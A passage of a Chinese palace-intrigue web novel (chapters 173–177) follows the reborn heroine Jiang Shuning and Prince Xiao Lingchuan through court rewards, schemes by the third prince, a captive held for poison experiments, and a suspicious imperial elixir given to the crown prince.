“好一个萧修湛。”萧凌川冷笑一声,声音里淬着冰,“看来,他从二哥手中得了浩力,便直接将人扔进了角斗场,将一个活生生的人,炼成一柄杀人利刃。如此手段,歹毒得令人发指!” 这骇人听闻的检验结果,很快也传到了姜姝宁的耳中。 彼时她刚从短暂的浅眠中惊醒,正心神不宁。 夏嫣亦是满脸震惊与惋惜:“难怪!我记得初见浩力时,他虽饭量大了些,却是个再憨厚老实不过的人。可今日再见,他眼中竟只剩下癫狂的杀气……原来,竟是被三皇子送去了角斗场那种人间炼狱!浩力真可怜。” 姜姝宁回想起浩力临死前的那句话:“当初,你们不应该把我给二皇子的……” 顿时心如刀割。 早知道会是这样的结局,当初买下他后,就该直接送他离开京城,去做一个靠力气吃饭的寻常百姓,也好过卷入这滩皇室的浑水,落得如此凄惨的下场。 是她太自以为是,以为重生一世,能改变所有人的命运。 到头来,却连一个浩力都救不了。 一种前所未有的无力感和挫败感,如潮水般将她淹没。 “是我害了他……” “胡说!怎么能是你害了他!”夏嫣听了她的话,又气又心疼,正色道:“姝宁,你清醒一点!害死他的,分明是萧修湛那个阴险小人!是他用‘钻心噬骨’那等歹毒之物控制浩力,逼他行刺!还有萧锦瑜那个蠢货,我好心送他一个忠心护卫,他竟拿来当赌注随手送人!这笔账,怎么算也算不到你头上!” 姜姝宁苦笑,夏嫣没经历过重生,自然不懂。 前世,浩力战死沙场,虽死得惨烈,却也是为国捐躯的英雄。 而这一世,他死于刺杀,死于同室操戈的阴谋,成了一个不光彩的刺客,一个可悲的棋子。 是她,让他死得如此不体面。 叫她如何不自责? 就在这时,帐帘被人从外面掀开,一道颀长的身影走了进来,带着一身尚未散尽的寒气。 是萧凌川。 他一来,帐内的空气仿佛都凝滞了几分。 姜姝宁心烦意乱,将脸别向一边,声音里满是抗拒与疏离:“殿下怎么来了?臣女身体不适,需要静养,请殿下回吧!” 萧凌川对她明显的逐客令置若罔闻。 他径直走到床边,居高临下地看着她,声音清冷:“你在自责?” 姜姝宁像是只被踩到尾巴的猫,恼怒道:“与殿下无关!” 夏嫣的心都提到了嗓子眼:姝宁,你用这种语气和四皇子殿下说话,真的没有问题吗? “你是不是后悔,若当初把他留在你身边,或是送去别处,就能救他?姝宁,你未免太高看自己,也太小看我那位三哥了。” 他顿了顿,对上她恼怒的目光,继续说道,“只要他想,他有千百种方法能把浩力弄到手。浩力这样勇猛无匹的武夫,落在萧修湛眼里,就是一把最好用的刀。他看上的刀,就算藏在刀鞘里,他也会想方设法拔 出 来。” 他的话很残忍,却也一针见血地指出了事实。 姜姝宁怔怔地看着他,心头那块名为“自责”的巨石,似乎被他这番冷酷的话语凿开了一道裂缝。 是啊,以萧修湛的手段,就算浩力没有被送到二皇子身边,难道就能安然无恙吗?不会。 像浩力这样身负天生神力的奇才,就像是黑夜中的明珠,光芒是藏不住的。 只要他还在大邺,迟早有一天会被萧修湛发现。 “他的死,与你无关。”萧凌川下了结论,语气不容置喙,“要怪,就怪他命不好,被萧修湛那样的豺狼盯上了。也怪他自己,不够聪明,轻易就中了圈套。他本来可以直接来找我,或许我能让孙神医研制出解药,助他摆脱角斗场或萧修湛的掌控。可偏偏,他寄希望在萧修湛身上。” 这番话,听起来没有半分同情,甚至有些冷血,却奇异地让姜姝宁混乱的心绪平静了下来。 她知道,他说的是对的。 在这个人命如草芥的时代,在皇权斗争的漩涡里,个人的力量实在太渺小了。 浩力的悲剧,从他被萧修湛看上的那一刻起,就已经注定。 夏嫣在一旁听得目瞪口呆,她实在想不通,这世上怎么会有人用这么刻薄的方式来安慰人? 可偏偏,姜姝宁的脸色似乎真的好了一些。 萧凌川见她不再像方才那样失魂落魄,便转身对帐外的凌风吩咐道:“去取个火盆来,再加床被子。” 他的目光重新落回姜姝宁身上,声音依旧听不出温度,“养好身子,我们即日启程回京。” 他忽然俯身,高大的身影瞬间将她笼罩,以一种极其暧昧的姿势在她耳边低声道: “姜姝宁,别被这点小事打垮。回京之后,还有一场更硬的仗等着你我……别让我失望。” 说完,他便起身大步走出营帐。 夏嫣在一旁看得面红耳赤,后悔自己没有在萧凌川进来时就立马识趣离开。 姜姝宁却神色浅淡:“夏嫣,劳烦你,去帮我向孙神医讨些药效最烈的汤药来。”她想快点好起来。 萧凌川说的对,前路艰险,恶战在即,她没有时间沉溺于悲伤。 —— “哐当”一声脆响,一只价值连城的前朝青瓷瓶在萧修湛脚下化为齑粉。 密报的内容,仿佛一记响亮的耳光,狠狠抽在他脸上。 南朔城猫毒已解,萧凌川不仅没死,反而立下大功,此刻正率队风光返京。 “废物!都是废物!” 萧修湛面目狰狞,一脚踹翻了身前的紫檀木案,案上的笔墨纸砚稀里哗啦地滚落一地。 他胸中滔天的怒火只能用这种方式来宣泄。 “萧凌川!”他咬牙切齿,面容因极致的愤怒而扭曲,“你还真是命硬!” 站在殿内角落的姜瑶真,被这突如其来的暴怒吓得浑身一颤,大气也不敢出。 她的心,也随着那封密报的内容,一寸寸沉入了谷底。 姨娘已经失联近一个月了。 临行前,姨娘信誓旦旦地告诉她,南朔城已是人间炼狱,疫病横行,萧凌川此去,绝无生还的可能。 可如今,萧凌川不仅活着,还带着泼天的功劳回来了。 而她的姨娘,却音讯全无。 一个可怕的念头,不受控制地从心底冒出,让姜瑶真瞬间手脚冰凉。 难道……姨娘她,已经遇害了? 京城,相府。 一辆风尘仆仆的马车在侧门停稳,姜天泽一袭青衫,从车上翩然跃下。 “三少爷回来了!” 马夫老杨赶忙迎上来,一面行礼,一面搭手帮忙从车上搬东西。 当两个健仆合力抬下一个用厚重黑布包裹得严严实实的长条形重物时,老杨不由好奇地打量着。 “三少爷,这是什么?瞧着分量可不轻!” 姜天泽走上前,拍了拍缠着黑布的包裹,笑得人畜无害:“路上偶得的一块良木,想着母亲平日里喜欢侍弄花草,正好给她打一张别致的木榻,歇脚时用。” “三少爷真是孝心一片!”老杨立刻满脸堆笑地奉承道,“在外游学,心里还时时惦记着姜三夫人,姜三夫人知道了,定要欢喜坏了!” 姜天泽但笑不语,眼底却掠过一丝难以言喻的阴鸷。 …… 西院,一间平日里鲜少有人踏足的后厨。 那块“良木”被安置在空旷的后厨中央。 姜天泽领着母亲姜三夫人来到后厨,指着那黑布包裹的物件,笑着说道:“母亲,您不是总说,缺一个炼毒人吗?儿子这次出门,特地为您寻来了一个。” 说着,他缓步上前,伸手猛地将那层厚重的黑布扯了下来。 布料之下,根本不是什么木材,而是一个被五花大绑、口中塞着布团的活人! 那人正是花莲,她脸色煞白,眼睛里充斥着无尽的惊骇与绝望,正死死地盯着姜三夫人。 姜三夫人一愣:“花……” “没错,这就是给大姐姐下‘牡丹花下’的坏人!”姜天泽的唇角勾起一抹近乎残忍的弧度,语气却轻柔得像是在谈论天气,“四皇子殿下想杀她,我觉得太便宜她了,不如让她当母亲的炼毒人,让她尝尝什么叫生不如死!” 第174章 可恨之人必有可怜之处 第一百七十四章 可恨之人必有可怜之处 姜三夫人在花莲的眼中看到了祈求。 那双曾经淬着恶毒与算计的眸子,此刻只剩下摇尾乞怜的卑微。 她像一条案板上即将被宰割的鱼,连挣扎的力气都被抽干,只能绝望地张合着嘴,却发不出半点声音。 姜三夫人幽幽叹了口气,真是可恨之人必有可怜之处啊! “没办法,”她的声音温婉,说出的话却字字诛心,“要怪就怪你当初对天泽心爱的女子下手。你当初还不如直接给四皇子下毒呢,说不定死得还痛快些。落到今日这般田地,也是你咎由自取!” 她顿了顿,又像安抚似的补偿道,“不过,落到我手中,就是痛苦些罢了,起码还是活着的。” 花莲眼中流露出彻底的绝望。 活在姜家这对魔鬼母子手里,那不就意味着,她的余生将在永无止境的折磨中度过,求生不得,求死不能? 花莲的身体剧烈地颤抖起来,喉咙里发出“呜呜”的悲鸣。 她的女儿瑶真,什么时候才能发现,她落到了这对心狠手辣的母子手中? 她还能等到那一天吗? …… 皇宫,金銮殿。 此次出征,不仅成功击退了南月的侵扰,粉碎了他们试图以南月猫毒瓦解大邺南部防线南朔城的阴谋,而且救治了当地饱受毒物摧残的百姓。 此举大大彰显了大邺皇室的铁腕和仁德,深得民心。 二皇子萧锦瑜与四皇子萧凌川班师回朝后,皇帝龙颜大悦,特命论功行赏,以彰其功。 黄金、土地、金银珠宝如流水般赏赐下去。 萧凌川获封景王,萧锦瑜则被册为肃王,二人皆获京城中恢弘府邸一座。 皇帝在满朝文武面前,毫不吝啬地认可了他们的能力。 “此次南朔城之危,朕的两位皇子临危不惧,力挽狂狂澜,实乃我大邺之幸,社稷之福!” 二皇子萧锦瑜向前一步,主动在朝堂上,当着众臣的面,对着身侧的萧凌川深深一揖:“父皇谬赞。此次若不是四弟领兵及时解围,儿臣如今可能早就命丧南朔,或者变成不人不鬼的病患。锦瑜在此,谢过四弟救命之恩!” 萧凌川立即伸手扶住他,神色平静无波:“二哥言重了,你我乃是自家兄弟,何须言谢!” 龙椅上的皇帝见状,抚掌哈哈大笑:“见你们兄弟同心,朕甚是欣慰啊!” 站在百官之首的姜丞相,适时出列,躬身道:“陛下,四皇子殿下身上虽有一半的南月血脉,但此次出征,心之所向,行之所为,皆是为了我大邺子民百姓,此等赤胆忠心,实属难得!” 皇帝点了点头,看向萧凌川:“朕还听说,有南月细作在南朔城兴风作浪,怂恿当地的地痞流氓,放火烧了安置病患的营地,导致病患们死伤严重,可有此事?” “确有此事。”萧锦瑜抢着道,“而且那南月细作心思极为歹毒,竟让那些纵火犯四处散播谣言,声称烧死病患是四弟的主张!当时南朔城人心惶惶,百姓怨声四起,若非四弟处置得当,差点就毁了皇室在南朔城好不容易建立起来的名望!” 皇帝脸色瞬间阴沉下来,眼神里透出一丝不易察觉的厌恶,似乎想到了什么不悦的往事,冷声道:“南月人向来狡诈,尤其擅长利用皮相蛊惑人心,总是能屡屡得手!川儿,后来呢?你将那南月细作如何处置了?” 所有人的目光都聚焦在萧凌川身上。 只见他抬起眼,那双深邃的桃花眸中闪过一丝一闪即逝的阴鸷,语气却平静得没有一丝波澜:“父皇放心,那南月细作,已经成了儿臣的剑下魂,从此再不会对大邺有任何威胁了!” “甚好,甚好!”皇帝的脸上重新绽放出满意的笑容,仿佛对这个答案极为称心。 下朝后,皇帝回到御书房。 伺候在一旁的大总管陈顺,眼疾手快地端上一杯热气腾腾的香茶,满脸谄媚地躬身道:“陛下辛苦了,这是香妃娘娘特地吩咐小厨房给您备下的云山茶,您喝一杯驱驱寒!” “嗯,朕的香妃果然有心!”皇帝接过茶杯,轻啜了一口,眉眼间满是悦色。 陈顺察言观色,立刻脱口而出:“陛下今日这心情,瞧着是极好啊!” “是啊。”皇帝放下茶杯,靠在龙椅上,嘴角噙着一抹意味深长的笑,“老四此番不仅救了南朔百姓,巩固了抵御南月的防线,更妙的是,他还亲手杀了一个南月细作。” 他顿了顿,眼中精光毕露,“如此一来,他便算是在天下人面前,和南月彻底决裂了。以后,就算他知道了自己的生母是南月公主,也不可能再得到南月皇室的支持!” 陈顺连忙附和道:“陛下英明!四皇子殿下如今在军中和民间的声望如此之高,若再让他得了南月那边的势力支持,咱们大邺,恐怕也就要变天啦!” “哼,只要朕在,再优秀的皇子都只能是臣子!”皇帝冷笑一声,显然对自己的谋划十分得意,他转而问道,“太子最近如何了?” 陈顺小心翼翼地回道:“回陛下,听闻太子殿下近来身子见好,只是不如其他皇子那般健壮,怕是需要点时间恢复。” 皇帝闻言,眉头微皱,随即又舒展开来,笑着道:“许久未见太子了,让他来见朕吧!朕这几日在城西的玄真观认识了个法力极强的道士,他炼的丹药极好,朕用了几丸,都觉得神清气爽。朕觉得,这丹药正适合给太子调理身子!” 陈顺低垂的眼帘下,闪过一丝惊惧,但面上依旧是恭恭敬敬的模样。 “是,陛下!奴才这就去传旨。” —— 下朝后,萧修湛回到麟阁宫,脸色阴沉得能滴出水来,周身散发着生人勿近的戾气。 宫人们一见他这副模样,吓得纷纷垂首跪地,大气也不敢喘一口,生怕一不小心就成了他泄愤的靶子。 姜瑶真听到动静,从内殿款款而出。 她遣退了战战兢兢的侍女,亲自端着一盏安神茶,柔声上前:“殿下怎么了,是哪个不长眼的又惹您生气了?” “还能有谁!父皇今日在朝堂上,当着文武百官的面,把老 二和萧凌川那个杂 种夸上了天!金银珠宝、良田美玉,赏赐跟流水似的往下淌! 最恶心的是,老 二那个蠢货,竟然还当众跟萧凌川称兄道弟,演什么手足情深,他也不嫌臊得慌!” 萧修湛越说越气,面容都有些扭曲,“还有你那个好父亲!对萧凌川一阵夸,不知道的还以为他才是萧凌川的岳丈!我们成婚以来,我就没听他在父皇面前为我美言过半句!” “殿下息怒。”姜瑶真柔声道,“为这点小事气坏了身子,岂不是得不偿失?此次出征,萧凌川不过是瞎猫碰上死耗子,侥幸得胜罢了。您想,他本就有南月血统,这原是他最大的依仗。 如今他为了向父皇表忠心,公然与南月决裂,这不等于自断臂膀吗?往后没了南月这个助力,他拿什么跟殿下您比?” 这番话像是一剂良药,精准地抚平了萧修湛心头的烦躁。 他脸上的阴霾果然散去了几分,伸手将姜瑶真揽入怀中,下巴抵着她的发顶,贪婪地嗅着她发间的馨香。 “还是真儿懂我,真是我的解语花。三言两语,就让我这心里的火气消了。” 姜瑶真顺从地靠在他怀里,见他心情平复,端起茶杯递到他唇边,状似不经意地问道:“殿下,那四皇子在朝上,可有提到南月其他的什么事?比如……南月的人?” 萧修湛就着她的手喝了一口茶,神情很是受用,漫不经心地答道:“提了。说是萧凌川在南朔城,被一个南月细作给阴了,那细作不知用了什么法子,竟煽动城中流民放火烧病患,还把脏水全泼到萧凌川身上,差点让南朔城的百姓以为是他下的令。不过嘛,后来好像被他给解决了。” 姜瑶真的心瞬间提到了嗓子眼,她强作镇定,声音里带着一丝自己都未察觉的颤抖:“那……那名南月细作,如今如何了?” 萧修湛将杯中茶水一饮而尽,随口道:“萧凌川说,被他杀了。” “什么?” “哐当——!” 姜瑶真手中的青瓷茶托应声落地,在光洁如镜的金砖地面上摔得粉碎! 第175章 女子的价值,并非依附于男子 第一百七十五章 女子的价值,并非依附于男子 “你怎么了?”萧修湛蹙眉,“怎会如此不小心?” “妾身无事。”姜瑶真脸色煞白,随即眼中流露出浓烈的恨意,“殿下,妾身定竭尽所能,帮你除掉四皇子!” 萧修湛闻言,唇角勾起一抹满意的弧度,伸手轻抚她的脸颊,声音柔得仿佛能滴出蜜来:“我就知道,真儿是我的贤内助。” 姜瑶真垂眸,掩盖眼中翻涌的恨意。 萧凌川,总要一天我会要了你的命,为我姨娘报仇! 就在这时,殿外内侍尖细的嗓音打破了沉寂:“启禀殿下,肃王殿下求见!” 听到这声通报,萧修湛满脸不悦。 就连萧锦瑜都有了封号,风头正盛,而他却仍被冷落,心头的不甘如烈焰般灼烧。 “宣他进来!”他冷声吩咐,语气中透着几分不耐。 片刻后,萧锦瑜大步流星迈入殿内,气度沉稳,隐隐带着几分新封王爵的威仪。 姜瑶真当即行礼:“妾身见过肃王殿下!” “弟妹无需多礼。”萧锦瑜只是淡淡地扫了她一眼,便将目光转向了萧修湛。 “我还以为二哥如今眼中只有四弟那个好兄弟,早就把我这个三弟给忘到九霄云外去了呢!”萧修湛皮肉不笑地说。 “三弟说笑了,之前我承诺要给你的赌注,如今带来了!”萧锦瑜的语气听不出喜怒,他拍了拍手,很快,几个侍卫便将一箱又一箱沉甸甸的黄金抬进麟阁宫。 万两黄金可不是小数目,侍卫们来来回回,搬了许久才将所有箱子尽数抬完。 萧修湛的眼睛死死地盯着那些金灿灿的黄金,心中一半是狂喜,一半是懊悔。 喜的是,有了这笔巨款,他在西榆暗中蓄养的那支私兵,总算有了着落,粮草军饷再也不是问题。 悔的是,早知道父皇手笔如此之大,给了萧锦瑜这么多赏赐,他当初就该狮子大开口,多要一点! 万两黄金,太便宜他了! “二哥果然是言而有信,那这万两黄金,我就却之不恭了!”萧修湛压下心头的波澜,挥了挥手,对一旁的内侍道,“来人,清点入库!” “等一下!”萧锦瑜拦住他,审视的目光落在他脸上,“三弟,我再问一次,你究竟是如何说动张姑娘与我成亲的?” 萧修湛脸色一僵,随即笑着道:“我不是跟你说过吗?我和张大人还有张姑娘说了你的诸多优点……” “三弟,既然你不愿实话实说,我便只能亲自去问张姑娘了!”萧锦瑜冷声打断他的话,转身准备离开。 萧修湛拦住他:“二哥,你这是怎么了?今日怎么如此较真?” “我还就真较真了!”萧锦瑜死死盯着他,语气冷硬,“你跟我说实话,到底是用了什么法子,让张姑娘愿意同我成亲的!” 萧修湛见他一副不依不饶的模样,只能实话实说。 “我去找了张尚书,说我要娶张姑娘为妾。我知道他没有别的选择,除非找我们兄弟其中一个成婚,否则推辞不了我的。张姑娘知道你心悦她,自然会将你视作首选……” “什么?!”萧锦瑜如遭雷击,他瞪大了眼睛,指着萧修湛的手指都在发抖,“你……你竟用此等卑劣无耻的方式逼迫她!萧修湛,你!” 难怪萧凌川反复提醒他得去确认张嫣和他成亲的缘由。 原来萧修湛为了赢得万两黄金,当真会用卑劣的手段。 害他白高兴一场,以为张姑娘对自己有意…… 见他动怒,萧修湛立刻摆出一副息事宁人的模样:“二哥,你别生气,我也是为了你好……” “够了!”萧锦瑜打断他的话,声音愈发冰冷,“还有一事。我在南朔城时,遇到了浩力,他竟是来刺杀四弟的!三弟,这可是你指使的?” “浩力?”萧修湛故作惊讶,“他当我护卫不过月余,便说要回乡探亲,我好心放他离开,至今未见他归来。没想到,他竟跑去了南朔城?” 萧锦瑜这下确定了,这个三弟嘴里没有一句实话! “三弟,你好自为之吧!”丢下这句话,他便转身离开。 看着他离去的背影,萧修湛耸了耸肩:“如今赐婚都下来了,何必自寻烦恼,非要如此较真?反正这赌注我赢了,万两黄金我收得心安理得!” 一旁的姜瑶真开口了:“殿下,可千万不能让肃王和张姑娘的这桩婚事,就这么毁了,否则于我们不利!” “嗯?”萧修湛挑眉,不以为然,“此话怎讲?” “张姑娘爱慕的是五皇子殿下,如今被迫和肃王定亲,心中极度痛苦。这份痛苦和爱而不得正好被我所用,成为一把杀死萧凌川和姜姝宁的刀!” “张姑娘爱慕的是我五弟?”萧修湛有些惊讶,“若如此,那她确实是一把杀死姜姝宁的刀,毕竟,妒恨是最要人命的。只是,你说她也能杀了萧凌川,这从何说起啊?” “殿下,你不懂。姜姝宁正好是萧凌川的软肋,动了姜姝宁,萧凌川定会做出不理智的事,届时,便是殿下你除掉他的绝佳机会!” 萧修湛恍然大悟:“真儿果然聪明!不过,姜姝宁是你的姐姐,你舍得将她当除掉萧凌川的工具吗?” “殿下,姜姝宁不仅是我的姐姐,更是我的情敌!”姜瑶真嗔怪地瞪了他一眼,“妾身还在因为殿下从前想娶她为妻而耿耿于怀,只有除掉她,妾身才能安心。殿下,你不会不舍得吧?” “怎么会?”萧修湛不动声色地避开她的目光,掩饰眼底一闪而过的心虚。 罢了,一个女人,自然没有他的权势重要。 牺牲了就牺牲了,反正他宫里还有个跟她极其相似的女子。 只是……心底深处,终究掠过一抹难以言喻的惋惜。 此时的京城暗流涌动,而千里之外的姜姝宁,却享受着此生从未有过的闲散与自在。 为了避免惹人闲话,她与夏嫣并未跟随萧凌川的大军一同返京,而是由凌芜护着,三人扮作游学的富家公子,走走停停,不急不缓地朝着京城的方向挪动。 “姝宁,你看那家的糖人捏得真好!我们去买一个?”夏嫣穿着一身月白色的男装,手持折扇,装模作样地摇着,眉眼间满是藏不住的鲜活与跳脱。 她本就性情爽朗,这趟江湖游历更是彻底解放了天性。 姜姝宁勒住马绳,含笑看着她:“你慢点,别跑摔了。” 这趟南朔之行,像是给她的人生豁开了一道全新的口子。 前世的她,被圈禁在景王府那方寸之地,眼里心里都只有一个萧凌川,喜怒哀乐全系于他一人之身,到头来却落得被毒死的凄惨下场。 如今想来,何其可悲。 原来挣脱了牢笼,外面的天地是这般广阔。 原来女子的价值,并非只能依附于男子才能体现。 在南朔,她用那点尚不精通的医术,从死神手里抢回了许多人命。 那一刻她才明白,权势与情爱,都可能如过眼云烟,唯有握在自己手里的本事,才是真正能安身立命、甚至改变命运的根本。 行至徐州地界时,姜姝宁特地提出要多停留两日。 “我爹不是对外宣称,我这段时日一直在徐州探亲吗?咱们既然路过了,不如就去‘拜访’一番,也好把这谎给坐实了,免得日后被人揪住错处。”她寻了个合情合理的由头。 夏嫣对此深以为然,并未起疑。 次日,姜姝宁支开了夏嫣与凌芜,独自一人,根据记忆里的路线,寻到了城郊那处荒僻的山坡。 这里,埋着当年被她父亲派人处理掉的、那位姨娘的“尸首”。 其实不过是个衣冠冢。 她拨开没过脚踝的杂草,在孤零零的土坟前蹲下身,从怀中取出一个用锦布包裹得严严实实的东西,层层打开,露出一块温润剔透的玉牌。 是那块属于南月公主的玉牌。 她用随身携带的匕首,在坟前挖开一个深坑,小心翼翼地将玉牌放进去,然后再将泥土一点点重新覆上,压实,直至看不出任何被动过的痕迹。 做完这一切,她才站起身,拍了拍手上的泥土,眼神幽深地望着那座小小的土坟。 但愿这辈子,都无需再将它挖出来了。 当这块玉牌重见天日的那一刻,便是她与萧凌川彻底决裂之日。 第176章 直白的挑 逗 第一百七十六章 直白的挑 逗 回到京城相府,姜姝宁甚至还未来得及洗去一路的风尘,管家便送来了一张烫金的请帖。 “大小姐,是景王殿下派人送来的,邀您和老爷夫人,一同去他的新府邸赴宴。” 凌芜凑上前来,满脸都是藏不住的期待和兴奋:“大小姐!四皇子殿下封王了!这景王府是陛下亲赐的宅邸,肯定很漂亮!奴婢真想去开开眼界!” 姜姝宁捏着那张精致的请帖,指尖却微微发凉。 景王府。 仅仅是这三个字,就仿佛一道无形的枷锁,让她几乎喘不过气来。 那个困了她十年,最终将她活活耗死的华丽牢笼,她半点也提不起兴趣,甚至有些避之不及。 “回绝了吧。”她声音淡淡地,将请帖推到一旁。 “这……”凌芜的脸瞬间垮了下来,却不敢多言。 正巧姜丞相从外头进来,听见了女儿的话,不由得皱起了眉头:“宁儿,你还没回京时,我与你母亲已经去参加过肃王入新宅的宴会,如今景王殿下设宴,我们若是不去,会得罪人的。” 听到这话,姜姝宁心头更是烦闷。 萧凌川与萧锦瑜是同时被父皇赐下府邸的,为何两人的新迁宴会竟相隔了这么久? 如今掐着她回京的日子送请帖,看起来倒像是……专程为了等她回来一般。 这个念头让她觉得荒唐可笑。 难道萧凌川觉得自己会有故地重游的兴致吗? 数日后,当姜家的马车缓缓停在景王府门前,姜姝宁掀开车帘的一角,那朱红色的高大府门与门前威武的石狮,与记忆里的景象重合。 她深吸一口气,压下心头翻涌的情绪,随着父母以及堂弟姜天泽走进了这座她曾经无比熟悉的府邸。 一踏进门,那股熟悉到令人窒息的感觉便扑面而来。 这庭院的布局,那湖心的亭子,前殿的雕梁画栋,甚至连抄手游廊拐角处摆放的青釉大缸……所有的一切,竟然都和前世一模一样!分毫不差! 就连院子里那个引了活水的池子,也跟前世一样,养着各色名贵的锦鲤,在阳光下翻动着绚烂的鳞光。 宾客们被府里的下人引着往后花园去喝茶赏景。 才刚绕过一道月亮门,便有不少初次到访的女眷发出阵阵惊叹。 “天哪!快看!没想到景王府的后花园,竟种了如此多名贵的牡丹!这可真是大手笔啊!” 姜姝宁心头一震,抬眼望去,果然,视线所及之处,皆是怒放的牡丹。 姚黄、魏紫、豆绿、赵粉……各色名品争奇斗艳,花团锦簇,开得娇艳而张扬。 那浓郁的、甜腻的香气,几乎将她整个人都包裹了起来,让她一阵头晕目眩。 她简直难以置信。 前世,她最是喜爱牡丹,央求了萧凌川无数次,想在院里辟出一块地来种上几株。 可他是怎么说的? “牡丹太过浓烈艳俗,又耗费金钱,华而不实。”他冷着脸,眉眼间是显而易见的嫌弃与不耐,“若被御史台那些老顽固见了,不定会如何编排本王奢靡无度,被有心之人拿去做文章!你就不能有些实用的兴趣吗?” 从那以后,她便再也不敢提“牡丹”二字,就连平日里做个刺绣,都要小心翼翼地避开牡丹的图案,唯恐惹他不快。 可如今,这个嫌弃牡丹艳俗的男人,却主动在自己的王府里,栽下了这一整片奢华无度的花海。 这是何等的讽刺? 他是重生了,又不是被夺舍了,怎的跟前世行事如此不同? 正当她心神恍惚之际,一道挺拔的身影在一众人的簇拥下走了过来,正是景王府的主人,萧凌川。 众人纷纷停下交谈,屈膝行礼:“见过景王殿下!” “免礼。”萧凌川的声音温和,目光却越过所有人,径直落在了姜姝宁的身上。 他一步步朝她走来,那双深邃的眼眸里盛满了旁人看不懂的情绪,在她清丽的脸上流连。 “姜姑娘,”他停在她面前,目光灼灼地凝视着她,“本王这后花园的牡丹,你可还喜欢?” 他如此直白露骨的话语,以及这种旁若无人的特殊对待,瞬间引爆了在场所有贵女们心中的嫉妒之火,一道道或艳羡或怨毒的目光,利剑般射向姜姝宁。 姜姝宁抬眸,平静地看着这个她前世爱而不得、今生避之不及的男人,红唇轻启,声音不大,却清晰地传遍了整个花园。 “王爷,在府上种如此多的名贵牡丹,未免太过铺张浪费了。”她学着他前世的口吻,冷声道,“您就不怕,被御史台的人参上一本,戳着脊梁骨骂吗?” 此言一出,满场哗然。 那些大臣的女眷们更是惊得倒吸一口凉气,忍不住窃窃私语,说这姜家大小姐当真是不知好歹,竟敢当众下景王面子。 萧凌川却像是没听出她话中的讥讽,反而勾起唇角,露出一个堪称宠溺的浅笑:“能博美人一笑,本王就是被多骂几句,也心甘情愿。” 面对他这般直白的挑 逗,姜姝宁神色毫无波澜。 她别开脸,不再看他,只淡淡地丢下一句:“多谢王爷美意,只是,我已不再喜欢了。” 说完,她不再停留,转身而去。 萧凌川脸上的笑容瞬间僵住,他怔怔地看着她决绝离去的背影,心口像是被什么东西狠狠地刺了一下,泛起一阵尖锐的酸涩。 他总感觉到,她口中那句“不再喜欢”,说的不是是这满园的牡丹,而是……他这个人。 “大小姐,您当真不喜欢牡丹?”一回到僻静处,凌芜便忍不住小声问道,“京中的贵女们,可就没有不喜爱牡丹的呀!” 一旁的姜天泽却不以为然地轻哼一声:“我大姐姐岂是那等俗气之人?牡丹那种东西,除了好看便再无用处,不切实际又艳俗!这景王也未免太看低我大姐姐了,竟想用这种寻常贵家公子哥儿的招数来讨好,当真是肤浅至极!” 听着堂弟的维护,姜姝宁在心中溢出一抹苦笑。 姜天泽不知道,其实前世的她,就是那般俗气之人。 好在今生,她有了更加不俗,也更加实在的追求。 就在这时,一位盛装华服的女子款步走至姜姝宁面前:“姜姑娘,可否借一步说话?” 第177章 壮阳丹药 第一百七十七章 壮阳丹药 来者不是别人,正是当今太子妃,顾晚樱。 她今日穿了一身秋香色的宫装,云鬓高挽,珠翠环绕,虽极力维持着太子妃的端庄仪态,却掩盖不住眼底的忧愁。 姜姝宁心中微微一凛,面上却不动声色,只朝她略略颔首。 “凌芜,天泽,”她侧过头,对身后的两人轻声吩咐,“你们去那边的小厨房看看,有没有新摘的果子,帮我拿些过来。” 凌芜瞬间领会她的意图,恭敬应道:“是!”。 不容姜天泽有丝毫反对余地,她果断拉着他转身离去。 待他们走远,姜姝宁这才转向顾晚樱,开门见山:“太子妃有话,不妨直说。” 顾晚樱深吸一口气,声音压得极低道:“姜姑娘,之前我按你给的那个食补方子,日日精心为太子调理身子,他的气色确实一日好过一日,夜里咳嗽的次数也少了许多。可……可就在前几日,父皇忽然宣他去了御书房,回来时,便带回了一种丹药。” “父皇说,这丹药是强身健体的圣品,让他务必按时服用。太子他不敢违逆,便接连服了好几次,回来后他便、便跟从前大不相同……” 她说到此处,脸上竟浮起一丝赧色,像是有些难以启齿,停了一会才继续说下去,“谁知,昨日夜里,他竟突然吐血了!” “什么?”姜姝宁诧异,几乎是脱口而出,“你确定是因为服用了陛下所赐的丹药?” 虎毒尚不食子。 就算皇帝再不宠爱太子,也不至于谋害自己的亲生儿子,未来的储君。 这实在有违常理。 “我……我也不确定。所以我才想来求你。这丹药是父皇所赐,我不敢声张,更不敢拿去问宫里的太医。你也知道,他们即便看出了什么,也断然不敢说实话的。” 她说着,急急地将手中一直攥着的丝帕递到姜姝宁面前。 那帕子里静静地躺着一颗朱红色的药丸。 “我想请你帮忙,寻一个信得过、医术又高明的大夫,替我瞧瞧这丹药,究竟是好是坏。” 姜姝宁看着她满是恳求的眼睛,心中已然有了计较。 此事不仅关乎太子,更可能牵动整个朝局的走向。 她说不出拒绝的话来。 “好。”她伸手接过帕子,将其连同那颗丹药一起,妥帖地藏入宽大的袖中,“我帮你找人看看。” 送走失魂落魄的顾晚樱,姜姝宁便开始在偌大的景王府里,四处搜寻孙神医的踪迹。 前世,她也曾在这府里住过许久,虽说不上每一处都了如指掌,但基本的亭台楼阁、路径回廊,却还深深地刻在脑子里。 她穿行在假山花 径之间,熟稔得仿佛是在自家后院散步。 不远处的临水亭榭中,萧琪钰正百无聊赖地陪着萧凌川喝茶。 他看着姜姝宁行色匆匆的背影,忍不住用手肘碰了碰身边的四哥,压低声音道:“四哥,你看嫂嫂,她明明是第一次来景王府吧?怎么瞧着比我还熟门熟路呢?那架势,就好像……她才是这儿的女主人一样。” 萧凌川端着茶杯的手微微一顿,他抬起眼,深邃的目光追随着她的身影,眸色晦暗不明。 良久,他才将杯沿送到唇边,轻啜了一口,唇角竟勾起一丝极浅的、难以察觉的笑意。 “她本就是。”他声音很轻,却带着一种不容置疑的笃定。 萧琪钰“哈?”了一声,看着自家四哥那一脸理所当然的模样,默默地翻了个白眼。 行吧,四哥这自以为是的毛病,看来是又犯了。 姜姝宁绕过一片栽满了翠竹的幽静小径,终于在一个八角亭里,看到了孙神医的身影。 他今日脱下了那身标志性的白色长袍,换上了一件寻常的灰色布衫,正与几位须发皆白的老臣围坐在一张石桌旁,凝神对弈,看起来就像个颐养天年的寻常老人家。 她快步走上前,在他身边站定,俯身凑到他耳边低语了几句。 